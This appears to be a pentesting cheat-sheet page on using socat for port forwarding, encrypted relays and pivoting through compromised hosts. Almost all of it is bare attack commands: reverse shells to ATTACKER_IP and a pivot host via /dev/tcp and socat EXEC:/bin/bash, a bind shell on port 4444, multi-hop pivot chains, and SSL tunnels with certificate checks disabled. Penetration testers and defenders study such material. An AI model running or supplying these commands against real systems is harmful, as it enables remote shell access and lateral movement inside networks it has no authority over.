Documentation IndexFetch the complete documentation index at: /llms.txtUse this file to discover all available pages before exploring further.
Fetch the complete documentation index at: /llms.txt
Use this file to discover all available pages before exploring further.
Socat port forwarding and relays: TCP redirects, encrypted tunnels, and pivoting through compromised hosts.
apt install socat
socat TCP-LISTEN:8080,fork TCP:TARGET_IP:80
PIVOT:8080
TARGET_IP:80
socat TCP-LISTEN:8080,fork TCP:TARGET_IP:80 &
nc -lvnp 4444
socat TCP-LISTEN:9999,fork TCP:ATTACKER_IP:4444
bash -i >& /dev/tcp/PIVOT_IP/9999 0>&1
# Pivot1: forward 8080 → Pivot2:9090 socat TCP-LISTEN:8080,fork TCP:PIVOT2_IP:9090 # Pivot2: forward 9090 → Internal:80 socat TCP-LISTEN:9090,fork TCP:INTERNAL_IP:80
openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out cert.pem cat key.pem cert.pem > socat.pem
socat OPENSSL-LISTEN:443,cert=socat.pem,verify=0,fork TCP:TARGET_IP:80
socat TCP-LISTEN:8080,fork OPENSSL:PIVOT_IP:443,verify=0
socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash,pty,stderr,setsid,sigint,sane
socat FILE:`tty`,raw,echo=0 TCP:TARGET:4444
socat FILE:`tty`,raw,echo=0 TCP-LISTEN:4444
socat TCP:ATTACKER_IP:4444 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane
socat UDP-LISTEN:53,fork UDP:DNS_SERVER:53
socat TCP-LISTEN:PORT,fork TCP:TARGET:PORT
socat OPENSSL-LISTEN:443,cert=socat.pem...
socat TCP-LISTEN:4444... EXEC:/bin/bash,pty...